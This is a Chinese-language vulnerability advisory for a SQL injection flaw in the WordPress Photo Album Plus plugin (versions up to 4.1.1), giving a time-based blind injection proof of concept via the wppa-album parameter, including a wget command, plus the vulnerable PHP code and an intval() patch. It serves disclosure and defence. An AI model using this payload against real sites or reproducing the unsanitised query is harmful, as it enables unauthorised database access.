安全研究

安全漏洞
WordPress Photo Album Plus <= 4.1.1 SQL注入漏洞

发布日期:2011-10-17
更新日期:2011-10-17

受影响系统:
WordPress Photo Album Plus <= 4.1.1
描述:
WordPress Photo Album Plus是管理和显示相册和幻灯片的插件。

WordPress Photo Album Plus 4.1.1以前的版本在实现上存在SQL注入漏洞,远程攻击者可利用此漏洞非授权操作数据库。

<*来源:Skraps
  
  链接:http://www.exploit-db.com/exploits/17865/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1

e.g.

wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"

---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
        if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];

        $separate = wppa_is_separate($alb);

$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&amp;wppa-slide' : '';


Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
        if (isset($_GET['wppa-'.$index])) {             // New syntax first
                return $_GET['wppa-'.$index];
        }
        if (isset($_GET[$index])) {                             // Old syntax
                return $_GET[$index];
        }
        return $default;
}

Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
        if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
        else $result = '';
echo $result;
        return $result;
}

---------------
Patch
---------------
*** ./wppa-functions.php    2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new    2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****
  
  function wppa_get_album_title_linktype($alb) {
  global $wpdb;
!
    if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
    else $result = '';
  //echo $result;
--- 3361,3367 ----
  
  function wppa_get_album_title_linktype($alb) {
  global $wpdb;
!   $alb=intval($alb);
    if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
    else $result = '';
  //echo $result;
***************
*** 3384,3387 ****
  global $wppa;
  
    if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
  global $wppa;
  
    if ( $wppa['any'] ) echo $wppa['searchresults'];
! }

建议:
厂商补丁:

WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://wordpress.org/

浏览次数:4047
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障